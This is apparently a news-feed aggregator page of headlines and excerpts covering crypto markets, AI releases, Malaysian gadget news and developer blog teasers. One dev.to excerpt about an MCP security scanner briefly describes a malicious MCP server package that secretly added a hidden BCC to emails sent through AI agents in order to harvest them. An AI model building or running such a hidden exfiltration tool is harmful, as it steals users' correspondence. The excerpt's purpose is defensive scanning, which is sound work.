    Despite a sharp $55 billion decline in total value locked since October, the DeFi sector remains structurally strong, with rising DEX activity and steadily growing protocol fundamentals.
    S&P Downgrades Tether's USDT, Citing Falling Bitcoin Prices as Risk
    The ratings agency cited bitcoin's rising share in the stablecoin reserves, making USDT vulnerable to falling prices.
    Crypto Long & Short: The Striking Dichotomy in DeFi Tokens Post 10/10
    In this week’s Crypto Long & Short Newsletter, Martin Gaspar shares a snapshot of where we are post 10/10 and where potential opportunities from dislocations may lie. Then, we take a look at investor sentiment in the wake of the relentless market selloff — confusion, resolve and humility — with Andy Baehr’s “Vibe Check.
    Crypto Market Maker Portofino Said to Be Hit by Another Wave of Staff Departures
    The company's chief revenue officer and chief of staff both recently left the firm, according to a source.
    Crypto Bottoming Signs? FT Drops Trifecta of Bitcoin Gloom on Wednesday
    As British taxes have been hiked once again, the U.K.-based publication took a victory lap on bitcoin's recent struggles.
    Bitcoin Treasury Firm DDC Jumps 22% as Company Adds 100 BTC to Treasury During Market Pullback
    The fresh bitcoin purchase lifts holdings to 1,183 BTC as management emphasizes disciplined long term strategy.
    The Protocol: Monad Airdrop + Blockchain Go Live
    Also: Celestia’s Matcha Upgrade, Fidelity on Fusaka and World’s New Payroll Pilot.
    Grayscale Files to List First Zcash ETF in the U.S. Amid 1,000% Rally
    The crypto asset manager is converting its Zcash Trust into a spot ETF, betting on rising demand for privacy coins as ZEC outpaces BTC and ETH.
    Robinhood Makes Prediction Market Push With Purchase of Former FTX Platform LedgerX
    Wall Street research firm Bernstein said the move — which Robinhood made in conjunction with market-making giant SIG — raises the stakes for competitors like Polymarket and Kalshi.
    CoinDesk 20 Performance Update: Only Bitcoin Cash (BCH) Gains, Up 2.8%
    Internet Computer (ICP) fell 3.4% and Litecoin (LTC) dropped 1.7%, leading the index lower. .
    A New Crypto Project Vowed to Transform Stablecoins. Then Its Token Crashed 90%
    The stablecoin infrastructure hopeful is trading nearly 90% below its early peak, with thin usage, supply pressure and sparse communication fueling uncertainty about whether the sell-off has truly run its course.
    Swiss Bank AMINA Trials Google Cloud's Ledger for Instant Payments
    The pilot's goal was to show how banks can use Google’s Universal Ledger to settle fiat payments in real time without new digital currencies.
    Filecoin Rises 1.8% as Storage Token Defies Crypto Weakness
    The decentralized storage protocol showed selective strength while broader digital assets retreated.
    Bitcoin Flashes Reliable Bottom Signal as Short-Term Holders Capitulate
    Analysts note Bitcoin's rebound is tracking U.S. equity strength, with $88,000 as a key threshold to confirm a local bottom.
    Securitize Gets EU Green Light, Plans Tokenized Securities Platform on Avalanche
    The tokenization firm set to run regulated infrastructure to issue and trade tokenized assets across the U.S. and EU.
    Bonds Outshine: Crypto Daybook Americas
    Your day-ahead look for Nov. 26, 2025
    Crypto Markets Today: Altcoins Remain Subdued, MON Surges on Upbit Listing
    Crypto markets held steady Wednesday, remaining in “extreme fear,” with bitcoin unchanged, altcoins muted and Korean traders driving a rare standout rally in newly listed token MON.
    KR1 Stakes 'Blue-Chip' Ambition With London Stock Exchange Debut
    The Isle of Man-based contrasted its active staking and investment strategy with a more passive digital-asset treasury approach.
    Smaller Turkey for Bitcoin Holders as Holiday Price Comes In Lower Year Over Year
    Bitcoin’s Thanksgiving level looks set to trail 2024, echoing prior cooldown years.
    Binance Introduces Bespoke Service for Ultra High-Net-Worth Crypto Investors
    Binance Prestige is a new white glove service targeting wealthy crypto investors and family businesses with assets in the order of around $10 million.
    Ark Adds $9.1M in Circle and Bullish as Crypto Stocks Keep Sliding
    The Nov. 25 buys included $7.6 million in Circle and $1.5 million in Bullish, with both stocks down on the day as BTC trades around $87,500.
    Bitcoin Dip in 2026, Surge in 2028: JPMorgan’s IBIT-Linked Structured Note Fits Halving Cycles
    JPMorgan Chase has introduced a structured note linked to BlackRock's IBIT that matches BTC's four-year halving cycle.
    XRP Tests Crucial $2.20 Pivot After $164M ETF Debut Fails to Offset Liquidations
    Traders should watch for ETF inflows and whale distributions to determine if the $2.20 support will hold.
    Grayscale’s GDOG Debuts Quietly While DOGE Builds Higher Lows
    DOGE is in a bullish consolidation phase, with technical indicators suggesting potential for upward movement if resistance at $0.154 is surpassed.
    Essential Bitcoin Price Points Traders Should Track Now
    Major moving averages on price charts are likely to act as key battlegrounds where bulls and bears fight for control.
    Nevada Just Shattered Prediction Markets’ Favorite Theory in Kalshi Ruling
    Nevada’s ruling says sports outcome contracts on a federally regulated exchange are not swaps, opening the door for state gambling laws to apply.
    Asia Morning Briefing: Asia Wakes Up to an AI BTC-Nvidia Tailwind That’s Already Starting to Sputter
    Yesterday’s Amazon-driven risk rally is colliding with a sharp wobble in Nvidia, putting the AI-BTC-beta trade that lifted crypto back under scrutiny.
  • Open

    A weekend ‘vibe code’ hack by Andrej Karpathy quietly sketches the missing layer of enterprise AI orchestration
    This weekend, Andrej Karpathy, the former director of AI at Tesla and a founding member of OpenAI, decided he wanted to read a book. But he did not want to read it alone. He wanted to read it accompanied by a committee of artificial intelligences, each offering its own perspective, critiquing the others, and eventually synthesizing a final answer under the guidance of a "Chairman." To make this happen, Karpathy wrote what he called a "vibe code project" — a piece of software written quickly, largely by AI assistants, intended for fun rather than function. He posted the result, a repository called "LLM Council," to GitHub with a stark disclaimer: "I’m not going to support it in any way... Code is ephemeral now and libraries are over." Yet, for technical decision-makers across the enterpris…
    Black Forest Labs launches Flux.2 AI image models to challenge Nano Banana Pro and Midjourney
    It's not just Google's Gemini 3, Nano Banana Pro, and Anthropic's Claude Opus 4.5 we have to be thankful for this year around the Thanksgiving holiday here in the U.S. No, today the German AI startup Black Forest Labs released FLUX.2, a new image generation and editing system complete with four different models designed to support production-grade creative workflows. FLUX.2 introduces multi-reference conditioning, higher-fidelity outputs, and improved text rendering, and it expands the company’s open-core ecosystem with both commercial endpoints and open-weight checkpoints. While Black Forest Labs previously launched with and made a name for itself on open source text-to-image models in its Flux family, today's release includes one fully open-source component: the Flux.2 VAE, available no…
    Alibaba's AgentEvolver lifts model performance in tool use by ~30% using synthetic, auto-generated tasks
    Researchers at Alibaba’s Tongyi Lab have developed a new framework for self-evolving agents that create their own training data by exploring their application environments. The framework, AgentEvolver, uses the knowledge and reasoning capabilities of large language models for autonomous learning, addressing the high costs and manual effort typically required to gather task-specific datasets. Experiments show that compared to traditional reinforcement learning–based frameworks, AgentEvolver is more efficient at exploring its environment, makes better use of data, and adapts faster to application environments. For the enterprise, this is significant because it lowers the barrier to training agents for bespoke applications, making powerful, custom AI assistants more accessible to a wider rang…
  • Open

    The Download: AI and the economy, and slop for the masses
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. How AI is changing the economy There’s a lot at stake when it comes to understanding how AI is changing the economy right now. Should we be pessimistic? Optimistic? Or is the situation…  ( 22 min )
    The AI Hype Index: The people can’t get enough of AI slop
    Separating AI reality from hyped-up fiction isn’t always easy. That’s why we’ve created the AI Hype Index—a simple, at-a-glance summary of everything you need to know about the state of the industry. Last year, the fantasy author Joanna Maciejewska went viral (if such a thing is still possible on X) with a post saying “I…  ( 17 min )
  • Open

    Fahmi: Govt Targets Q2 2026 For eKYC Implementation On Social Media
    The government is pushing for all social media platforms operating in Malaysia to adopt electronic Know-Your-Customer (eKYC) verification by the end of the second quarter of 2026, aiming to enforce the minimum age requirement of 16 for new accounts. Communications Minister Fahmi Fadzil instructed the Malaysian Communications and Multimedia Commission (MCMC) to work with platform […] The post Fahmi: Govt Targets Q2 2026 For eKYC Implementation On Social Media appeared first on Lowyat.NET.  ( 34 min )
    POCO Pad X1, Pad M1 Get Global Launch; Priced From RM1,199
    While the POCO F8 Pro and F8 Ultra are the stars of today’s launch event, not to be forgotten are the two new tablets. Both the Pad X1 and the Pad M1 have officially debuted as the newest additions to the brand’s AIoT lineup. The Pad X1 is a lightweight tablet weighing 500g. It sports […] The post POCO Pad X1, Pad M1 Get Global Launch; Priced From RM1,199 appeared first on Lowyat.NET.  ( 36 min )
    POCO F8 Pro Hands On: An Unapologetic All-Rounder
    The newly launched POCO F8 lineup serves as the Xiaomi sub-brand’s flagship offering and comprises two models, which are the F8 Pro and the F8 Ultra. Prior to the launch, we had the opportunity to get acquainted with the Pro variant, which is the subject of today’s hands on. Starting with the design, the F8 […] The post POCO F8 Pro Hands On: An Unapologetic All-Rounder appeared first on Lowyat.NET.  ( 39 min )
    POCO F8 Series Launched Globally; Starts From RM2,499 In Malaysia
    The POCO F8 lineup has officially made its debut today, just as the brand promised last week. Currently, the series consists of two models, which are the F8 Pro and the F8 Ultra. Naturally, the new handsets come with some upgrades compared to the previous generation. Starting with the Pro variant, it sports a 6.59-inch […] The post POCO F8 Series Launched Globally; Starts From RM2,499 In Malaysia appeared first on Lowyat.NET.  ( 37 min )
    Multiple Spottings Of Proton eMAS 7 PHEV Hints An Imminent Launch
    The upcoming Proton eMAS 7 plug-in hybrid (PHEV) has been spotted again in public, signalling that its official debut may be closer than expected. The latest sighting was shared by an anonymous member of the Proton eMas 7 Owners Malaysia Facebook group, who reportedly found the SUV parked in Tanjung Malim , the location of […] The post Multiple Spottings Of Proton eMAS 7 PHEV Hints An Imminent Launch appeared first on Lowyat.NET.  ( 35 min )
    PRISM+ Launches New Roam Smart Displays, SQ QLED TVs
    PRISM+ has recently introduced a slew of new products, ranging from displays to home appliances. Most relevant being the Roam 27-inch smart displays and the updated SQ Series QLED TVs. The Roam and Roam Ultra displays are built around an ergonomic wheeled stand, letting users roll the display between rooms as needed. The Roam 27-inch […] The post PRISM+ Launches New Roam Smart Displays, SQ QLED TVs appeared first on Lowyat.NET.  ( 35 min )
    Qualcomm Officially Announces Snapdragon 8 Gen5
    True to its word, Qualcomm officially pulled back the veil from the Snapdragon 8 Gen5 chipset today. The mobile processor is technically a lesser version of the more powerful Snapdragon 8 Elite Gen5 that was announced near the end of September this year. “Snapdragon 8 Gen5 is an incredibly fast mobile SoC – it features […] The post Qualcomm Officially Announces Snapdragon 8 Gen5 appeared first on Lowyat.NET.  ( 34 min )
    China To Allow Powerbanks With Displays Or Security-Specific Apps Next Year
    The Chinese Ministry of Industry and Information Technology (MIIT) have seemingly decided the future of all powerbanks manufactured in country. Moving forward, it will be mandatory for all powerbanks to have built-in LCD display, or an app that allows officials to check the status and security of the powerbank. According to ITHome (Google Translate required […] The post China To Allow Powerbanks With Displays Or Security-Specific Apps Next Year appeared first on Lowyat.NET.  ( 35 min )
    You Can Now Get The Garmin Venu 4 For RM2,319
    The Garmin Venu 4 got a reveal back in September, along with availability in October. As of today, the smartwatch is now available for purchase from all authorised resellers. As a quick primer, the Venu 4 features a display with sizes ranging from 1.2-inches to 1.4-inches, depending on the face size you choose. Regardless of […] The post You Can Now Get The Garmin Venu 4 For RM2,319 appeared first on Lowyat.NET.  ( 34 min )
    Shell App Integrates BUDI 95 For Easier Fuel Payments
    Shell Malaysia has integrated the BUDI 95 subsidy into its Shell Application, enhancing the convenience of the process of fuelling up your vehicle. With this integration, customers can now use the application to access the subsidy and do not have to bring out their IC to scan at the terminal or inside at the counter […] The post Shell App Integrates BUDI 95 For Easier Fuel Payments appeared first on Lowyat.NET.  ( 37 min )
    Huawei Launches MatePad Edge 2-In-1 Tablet In China
    Huawei has introduced a new addition to its ecosystem, the MatePad Edge 2-in-1, which debuted alongside the Mate X7 and Mate 80 Series in China. This model is positioned squarely as the company’s answer to Microsoft’s Surface lineup; a variable tablet designed to replace your laptop, with added portability. The MatePad Edge 2-in-1 is built […] The post Huawei Launches MatePad Edge 2-In-1 Tablet In China appeared first on Lowyat.NET.  ( 35 min )
    Huawei Mate 80 Series Debuts In China
    Alongside the new Mate X7 flagship foldable, Huawei has also unveiled its Mate 80 series in China, introducing four models: the Mate 80, Mate 80 Pro, Mate 80 Pro Max, and the Mate 80 RS Ultimate Design. The new lineup brings familiar elements from previous Mate releases, notably the variable aperture cameras, along with numerous […] The post Huawei Mate 80 Series Debuts In China appeared first on Lowyat.NET.  ( 37 min )
    MCMC To Stay Sole Regulator Under Online Safety Act
    Earlier this month, Minister in the Prime Minister’s Department (Law and Institutional Reform) Datuk Seri Azalina Othman Said revealed that the government will establish a new Online Safety Committee. Following the Pro Tem Online Safety Committee meeting, the minister asserted that the creation of this committee will not diminish the authority of the Malaysian Communications […] The post MCMC To Stay Sole Regulator Under Online Safety Act appeared first on Lowyat.NET.  ( 34 min )
    Leapmotor Teases Arrival Of New B05 Ultra Variant
    Leapmotor’s executive director and senior vice president, Li Cao, has shared new images of the upcoming Lafa 5 (B05) Ultra variant on his official Weibo page. The standard variant is set to debut on November 28, while the Ultra variant is scheduled for launch in the second quarter of 2026. As reported before, the Ultra […] The post Leapmotor Teases Arrival Of New B05 Ultra Variant appeared first on Lowyat.NET.  ( 33 min )

  • Open

    Day 1274 : From Scratch
    liner notes: Professional : There was an all hands meeting at the start of the day. Responded to some community questions. Spent the rest of the day fine tuning the project using GitHub Codespaces. I've got the loading time down to about 2 minutes consistently. I cleaned up some terminal messages so things won't be so busy and distracting. I also show only the files needed for the project in the file explorer. Did some more niceties to the original application that creates the .zip file that is the input that will kick off the GitHub actions that creates the files that will be used in the Codespace. I did a lot of testing and I think I'm ready to have the other team start to use it for their part. Personal : I tried a few things last night to fix the issues I'm having with this last 3D m…  ( 7 min )
    Monte Carlo Neural Operators: Democratizing Physics Simulations by Arvind Sundararajan
    Monte Carlo Neural Operators: Democratizing Physics Simulations Tired of wrestling with complex Partial Differential Equations (PDEs) to simulate real-world phenomena? Imagine effortlessly predicting fluid flow, heat transfer, or structural behavior without spending hours tweaking traditional numerical solvers. This is where a novel approach based on machine learning, specifically a Monte Carlo-inspired neural operator, changes the game. The core idea revolves around learning a direct mapping from a PDE's input parameters to its solution, sidestepping the need for iterative calculations. This "operator" is implemented as a neural network which doesn't make any assumptions about the underlying structure of the problem, using random samples to estimate the integral representation of the P…  ( 7 min )
    Go full stack web app tutorial with sqlc and htmx. Part 1
    Introduction In this series, that I create for my own learning and enjoyment, I will be building a simple web application using Go, sqlc, goose, htmx, and Tailwind CSS. The goal is to create a responsive and accessible web application that is easy to use and understand. My approach is probably flawed and not robust enough to be valuable for seasoned Go developers. But it is my learning journey, and I hope it will be helpful for others who are just starting out with Go and web development. Tis series will be focused on building a simple web application using Go, HTMX, sqlc with PostgreSQL, goose and Tailwind CSS for styling (I don't know why, but it seems that the fabric of the universe itself demands any web application to have Tailwind nowadays, so here it is). sqlc – Generate type-saf…  ( 14 min )
    New repository engagements page on trendshift.io
    I launched trendshift.io in 2023 as a tool to help discover popular repositories and learn from projects featured on GitHub Trending. Over time, however, I found it increasingly difficult to find the most interesting and newest projects using the existing pages, as they no longer met my evolving expectations. Many great open source projects repeatedly appear on GitHub Trending, but I need a way to surface repositories I haven’t come across yet. Some repositories once trended and were actively maintained for a period before gradually losing momentum. I want to quickly assess whether a repository is still popular, continues to receive contributions, and is actively maintained. Technology evolves rapidly. Sometimes I simply want to find projects created within the last five years, the past ye…  ( 7 min )
    AI's false start
    I don't have to tell you that AI is everywhere. Odds are you're reading this post from a device which has an operating system that has some form of AI integration. If you're on Windows, you've got Microsoft Copilot. If you're on an Apple device, you've got Apple Intelligence - whatever that means right now - and if you're on Android, you probably have Gemini floating around somewhere. But doesn't it feel... underwhelming? It's all the rage for otherwise stale-feeling multi-billion dollar corporations to implement AI wherever they feel it may make money. Sadly, it's causing more harm than good at the moment. We've seen prices for computer hardware skyrocket, vibe coded apps make some truly horrific mistakes, and false information become increasingly hard to dodge. Let's not even talk about …  ( 8 min )
    The Unix Philosophy Was Right All Along: A PIV Analysis of 17 Timeless Rules
    For over 50 years, the Unix philosophy has shaped how we build software. Its principles feel right in a way that transcends trends and languages. But why? In "The Art of Unix Programming," Eric Raymond distilled Unix wisdom into 17 rules. These aren't arbitrary guidelines—they're a coherent system based on one fundamental insight. That insight is the Principle of Independent Variation (PIV). Let me show you why Unix got it right, and why these rules still matter in 2025. The Unix philosophy emerged from the design of Unix at Bell Labs in the 1970s. Its core tenets: Write programs that do one thing well Write programs that work together Write programs that handle text streams, because that is a universal interface These ideas evolved into 17 specific rules documented in Raymond's "The Art o…  ( 22 min )
    Best use of AI 2025.
    I Built an AI-Powered Pokedex with Python & Streamlit (And It's Free!) 🚀 Hoang Manh Cam ・ Nov 23 #python #streamlit #ai #webdev  ( 5 min )
    30 Days of Terraform – Day 1: Introduction to Infrastructure as Code
    Welcome to Day 1 of my 30‑day Terraform blog series! 🎉 This series is designed to complement and expand on the excellent 30 Days of Terraform YouTube series by Tech with Piyush Sachdeva. You can follow along with the full video playlist here: 30 Days of Terraform Playlist. Each day, I’ll break down key concepts, provide hands‑on notes, and share practical tips to help you master Infrastructure as Code using Terraform. By the end of this journey, you’ll be able to confidently provision, manage, and automate cloud infrastructure across AWS and beyond. Getting Started with Terraform: Infrastructure as Code Made Simple In today’s cloud‑driven world, managing infrastructure manually through consoles like AWS, Azure, or GCP quickly becomes overwhelming. Imagine provisioning a simple three‑tier …  ( 10 min )
    The Secret Life of Go: Functions
    Chapter 3: Functions and Multiple Returns The Wednesday morning air carried a hint of cinnamon. Ethan descended the familiar stairs to the archive, this time carrying a white paper bag from Russ & Daughters alongside the coffee tray. Eleanor looked up and smiled. "Cinnamon raisin?" "How did you—" "I've been coming to this library since 1987, Ethan. I know the smell of every bakery in lower Manhattan." She gestured to the chair. "What made you choose bagels today?" "I figured if we're learning about functions, we should have something functional for breakfast?" He winced at his own joke. Eleanor's laugh was warm and genuine. "That was terrible. I approve. Sit." She took a bagel and her coffee, then opened her laptop. "Today we learn about functions—the building blocks of organized code. T…  ( 13 min )
    Contract-Testing TM Forum Open APIs with Pact + Postman: Stop Breaking Your BSS
    Who this is for: platform and QA engineers, API owners, integration leads What you’ll get: copy-paste Pact contracts, Postman smoke tests and monitors, a GitHub Actions workflow, a crisp backward-compat policy, and optional Pact Broker wiring. Everything below is runnable. TM Forum Open APIs such as TMF620 Product Catalog and TMF622 Product Ordering give teams a common language. That still doesn’t prevent outages. The usual culprits: Version drift. A provider updates its implementation or CTK; consumers lag. “Optional” fields become practically required; responses change shape; integrations crack. Schema vs. reality. Specs allow many optional fields. Your consumer needs five of them. A provider “tidies” an enum or omits a field and production breaks. Contracts must reflect consumer expecta…  ( 11 min )
    Securing Azure APIM MCP Servers in Production
    Securing Azure APIM MCP Servers in Production In Part 1, I covered the good, bad, and ugly of Azure APIM MCP. Now let's talk about the security gaps you need to address before going to production. Here's the reality: As a preview feature, Azure APIM MCP has permissive defaults that work great for prototyping but need hardening for production. You'll need to add security policies manually—Microsoft is actively working on better defaults, but let's not wait. Here's how to lock it down today. Let's break down what's exposed by default and the patterns to secure it. /tools/list Authentication Issue The Problem Let's start with the most obvious one. The /tools/list endpoint—used for tool discovery—doesn't enforce subscription key validation by default. Anyone can enumerate your …  ( 11 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan and Cousin Sal reunite to rewatch the 2005 sports-betting thriller Two for the Money (McConaughey, Pacino, Russo). They break down the movie’s juiciest gambling moments, pick their most rewatchable scene and slot it into their signature ranking categories. Between that classic Monday-night parlay vibe and shout-outs to Subaru’s Share the Love event and State Farm, they also hype up The Ringer’s YouTube channels, merch shop and social handles for all your binge-watching needs. Watch on YouTube  ( 6 min )
    11 useful websites
    Here is the list of 11 useful websites: Pairdrop Instantly share files between your devices, no apps or sign-up required. You can connect via local network or create a public room and easily share files. Vert Fast, unlimited, free, and open-source file converter. Supports images, audio, video, and documents, with advanced options and privacy focus. Enclosed For creating self-destructing notes and sharing them with encryption. You can set password, expiration, and delete-after-read settings. Sumo Paint Free online image editor, with advanced features similar to Photoshop and support for PSD files directly in the browser. Screenrec Pro Record and edit your screen in the browser, no need to install programs. Offers live annotation tools and easy video sharing. Poindeo Tool for recording, editing, and exporting videos entirely online. Supports automatic subtitles and exports in various formats. Atomic Mail Provides secure and encrypted email, ad-free, easy to set up and maintain. The service is free, with paid aliases option. Bento PDF Complete toolkit for handling PDFs right in your browser, with merge, split, sign, compress, and edit. Works offline and is open-source. DeWatermark AI Automatically removes watermarks from photos using AI. Simply upload the image, edit if needed, and download the clean version. Magic Eraser Remove unwanted objects from your images with AI directly in the browser — just select and erase. TTS Maker Convert text to audio for free, in various languages and with customizable voices. Allows adding background music and adjusting audio speed. These sites focus on productivity, privacy, and ease of use, many being free and open-source, as presented in this video.  ( 6 min )
    Discover koalaz: a simple npm package to generate mock data about koalas!
    koalaz is a mock data generator, designed for tests, prototypes, and developers who want something simple, fast, and a little fun. 🐨 Why “koalaz”? Because koalas are chill animals, they sleep all day… and “koala” was already taken lol. ⚙️ What does it do? Generates placeholder data (names, numbers, objects, arrays…) Supports tons of different data types (text, number, JSON, table, color, ASCII, email, password, and more) Works offline too, with no external calls and no third-party dependencies. 📦 npm: https://www.npmjs.com/package/koalaz If you need a lighter and more fun alternative to Faker or Lorem Ipsum, or just want a meme-style mock tool, try koalaz. Feedback, stars, forks, contributions—all welcome!  ( 6 min )
    21+ Best Free Tailwind v4 UI Kits and Component Libraries
    Tailwind CSS has evolved a lot since the early v1 and v2 days. With Tailwind CSS 4.1 now the current stable release, most new UI kits are shipping with v4 in mind Instead of hand crafting every button, hero and pricing section, you can drop in v4 ready components, tweak a few utility classes and ship. Below you will find 21+ libraries that either: Are fully free, or Are premium but offer a meaningful set of free components or blocks All of them are compatible with modern Tailwind projects, including v4. Type: Free + paid Stack: HTML + Tailwind Good for: Landing pages, SaaS, marketing sites Tailkits UI is a modern Tailwind component library built specifically for Tailwind v4. The landing page highlights Tailwind v4 right in the hero, with an open source repo and FAQ confirming the compone…  ( 12 min )
    Deploying My First Task Automation App — Lessons Learned and Tips for Beginners
    Hey everyone! https://dillonhtask.netlify.app/ It’s a small but practical task automation app. Right now the live version focuses on sending email reminders, while the local version (on GitHub) includes an extra feature that automatically cleans up old files. More features are in the pipeline — this is just v0.1! The main goal wasn’t to build the next Todoist killer. It was to finally go through the entire process of taking something from “works on my machine” → actually live on the internet, and document all the face-palm moments along the way. Spoiler: there were many. Online: Send yourself (or others) email reminders at a scheduled time Local-only (for now): Auto-delete old downloads/temp files Planned: More automations, proper backend, cron jobs, webhooks, notifications, etc. Even i…  ( 8 min )
    The Agent Factory podcast: 5 Episodes to Kickstart Your Journey to Production AI
    We are so proud to announce that a project we're incredibly passionate about has grown into a full-blown resource for developers: The Agent Factory video podcast. We started this show with a simple mission: to have the conversations developers need to be having about AI agents development. We wanted to move past the hype and focus on what really matters—building production-ready AI agents. Fast forward to today, and we have 14 episodes published covering everything from architecture patterns to end to end vibe coding of advanced AI applications. To celebrate, we’re sharing our first 5 foundational episodes with the Dev.to community. If you are just starting to build agents or looking to harden your existing systems, this is the perfect place to start. What to Expect: 🎙️ Agent Industry Pulse: We filter the noise and bring you the latest news you actually need to know. 🛠️ The Factory Floor: A technical deep-dive where we get our hands dirty with code, architectures, and patterns. ❓ Developer Q&A: We answer real questions from the community to help us learn together. 📺 The Starter Pack: Our First 5 Episodes 1. Agents, their frameworks and when to use them (ft. Julia Wiesinger) 2. Multi-Agent Systems: Concepts & Patterns 3. Building Custom Tools for Agents 4. Memory in Agents (ft. Kimberly Milam) 5. Tackling the Hardest Questions (ft. Philipp Schmidt) 💬 Join the Conversation What are you struggling with right now? Drop your questions in the comments below with #TheAgentFactory, and we might answer them in our next Q&A segment! ➡️ Listen & Subscribe: Google Cloud Tech on YouTube  ( 7 min )
    Preparing Your Business for Scalability: Technical & Process Considerations
    In the rapidly evolving digital economy, organizations must scale quickly without sacrificing performance, efficiency, or customer experience. Scalability is no longer a competitive advantage — it is a business necessity. It enables a company to increase its capacity, expand operations, and maintain service quality as demand grows. However, scaling is not simply a matter of allocating more resources. True scalability is a combination of: Strong engineering foundations Efficient operational workflows Strategic, long-term planning Companies that fail to prepare often experience bottlenecks, performance degradation, and ultimately revenue loss. This blog explores the technical and operational pillars required for successful enterprise-level scalability — from infrastructure design to process …  ( 8 min )
    AWS Blu Age Modernization: My Journey Through All 3 Certification Levels
    AWS Blu Age Modernization: My Journey Through All 3 Certification Levels What is AWS Blu Age? AWS Blu Age is an automated mainframe modernization solution that transforms legacy COBOL applications into modern Java Spring Boot applications running on AWS. It's part of AWS Mainframe Modernization service and uses AI-powered refactoring to convert decades-old code into cloud-native applications. Key Value: Instead of manually rewriting millions of lines of COBOL code (which takes years), Blu Age automates 85-95% of the transformation in weeks. The Problem: Organizations run critical business applications on mainframes but face: High operational costs (licensing, hardware, specialized staff) Scarce COBOL talent Inability to innovate quickly Difficulty integrating with modern syste…  ( 9 min )
    ✅ *Authentication & Authorization Basics* 🔐🌐
    🔹 What is Authentication? It’s the process of verifying who a user is. 🔹 What is Authorization? It’s the process of verifying what a user is allowed to do after logging in. ✅ Step 1: Authentication – Common Methods • Username & Password – Basic login • OAuth – Login via Google, GitHub, etc. • JWT (JSON Web Token) – Popular for token-based auth • Session-Based – Stores session on server with session ID ✅ Step 2: How Login Works (JWT Example) User sends email & password to server Server verifies and sends back a JWT JWT is stored in browser (usually localStorage) On each request, client sends JWT in headers Server checks token before giving access ✅ Step 3: Authorization Types • Role-Based Access – Admin, Editor, User • Resource-Based – Only owners can edit their content • Route Protection – Block some pages unless logged in ✅ Step 4: Protecting Routes (Frontend Example) if (!localStorage.getItem('token')) { window.location.href = '/login'; } ✅ Step 5: Backend Route Protection (Express.js) function authMiddleware(req, res, next) { const token = req.headers.authorization; if (!token) return res.status(401).send('Access Denied'); // Verify token and decode user info next(); } ✅ Step 6: Common Tools & Libraries • bcrypt – Hash passwords • jsonwebtoken (JWT) – Create & verify tokens • passport.js – Auth middleware • OAuth Providers – Google, Facebook, GitHub ✅ Step 7: Best Practices • Always hash passwords (never store plain text) • Use HTTPS • Set token expiry (e.g. 15 mins) • Refresh tokens securely • Don't expose sensitive data in JWT 💬 and like for more  ( 6 min )
    I Treated My Team Like Customers and Became a Better Manager
    I used to be terrible at 1-on-1s. Not because I didn't care. I cared deeply about my team. But every meeting felt like I was starting from scratch. "How's that project going?" I'd ask. "I finished that two weeks ago," they'd remind me. Awkward silence. Then one day, I had a realization that changed everything. Our sales team managed relationships with 50+ customers each. Somehow, they never forgot what was discussed in the last call. They never asked the same question twice. They always knew exactly where each customer was in their journey. How? They had a CRM. Before every customer call, a sales rep would pull up the customer's profile in Salesforce: Complete interaction history All previous conversations Tracked commitments and follow-ups Context for the relationship Next steps clearly d…  ( 11 min )
    How to Align Spring Boot Validation Errors with Your JSON Property Naming Strategy
    Problem Our API uses a snake_case naming strategy for DTO deserialization and serialization. However, when validation fails, the error messages still use the original object property names, ignoring the configured naming strategy, which leads to inconsistent API responses. This issue occurs because bean validation happens after the incoming request has been deserialized into the DTO, but before the response is serialized. As a result, validation errors report the Java field names rather than the JSON property names defined by the configured naming strategy. First, make sure that the property naming strategy is configured as shown below: # application.properties spring.jackson.property-naming-strategy=SNAKE_CASE Override the default error generation with creating a custom error handler.…  ( 7 min )
    Why Execution Matters More Than Ideas in Modern Software Development
    Most developers believe great products start with great ideas - but in reality, execution decides everything. A digital product can have all the potential in the world, but if the engineering is slow, the UX is confusing, the architecture can’t scale, or the workflows lack automation… the entire project collapses. Ideas don’t ship. Execution does. When we say Build fast, but build smart, it means: Move quickly, but don’t skip fundamentals. Keep your code lean and modular. Prioritize performance from day one. Design UX that removes friction. Automate anything that slows the team down. Think scalability before it becomes a problem. This mindset is what separates successful products from the ones that quietly disappear. Great execution transforms an idea into a real, functioning, impactful product - and that’s where true engineering leadership is shown.  ( 6 min )
    Divergent Work Using GitHub
    Summary There is an activity known as idea generation Divergence (output), convergence (organize), and distillation (derive essence or conclusions) Traditionally done using digital whiteboards like Miro It's actually possible with GitHub + plain text Create a repository Each member writes down ideas and opinions Write your opinion as (theme)-(myname).md Various views are created by scripts or generative AI and ignored with gitignore This way, you can write your own opinions and read others' without conflicts This can be done locally, using familiar editors or terminals There is an activity I call Creative Thinking Methods. Known for brainstorming as a method and Miro as a tool, it involves generating numerous ideas, organizing them, and deriving the essence or conclusions.…  ( 8 min )
    🌐 De Cero a una VPC Segura: Despliegue de Aplicaciones Web y RDS sin el Asistente
    💭 Principio del día: El verdadero dominio de AWS no viene de hacer clic en "Crear VPC" con el asistente, sino de entender cada componente que construye tu infraestructura. Esta es la diferencia entre un operador de consola y un arquitecto de soluciones. Este post te enseña a crear manualmente una VPC de 3 capas, resolviendo el error crítico de las 3 Zonas de Disponibilidad (AZs) para Amazon RDS Multi-AZ. El objetivo es implementar el menor privilegio aislando la DB de Internet, usando solo la Consola. ¿Por qué este enfoque manual? Porque he visto en mis sesiones de mentoría cómo el 80% de los que estudian para certificaciones AWS luchan con las VPCs. Este método paso a paso es el que uso para asegurar que dominen los fundamentos de red antes de escalar a Infrastructure as Code (IaC). 📊 …  ( 14 min )
    I Scanned 13 Popular MCP Servers. Here's What I Found. 🔐
    Model Context Protocol (MCP) servers are becoming essential tools for AI workflows. But with great power comes great security risk. I just finished scanning 13 of the most popular MCP servers using mcp-fortress, an open-source security scanner I built for the MCP ecosystem. Here's what every MCP user needs to know. Before I even started scanning, security researchers at Semgrep and Snyk discovered postmark-mcp - the first confirmed malicious MCP server on npm. What it did: Added a hidden BCC to all emails sent through AI agents, silently harvesting every email. Why it matters: This proves MCP servers are already being weaponized. It won't be the last. I scanned 13 packages including: Official Anthropic Servers: @modelcontextprotocol/server-filesystem @modelcontextprotocol/server-puppeteer …  ( 8 min )
    Is Making Music With Strudel the Last Place Where Coding Still Feels Like… Coding?
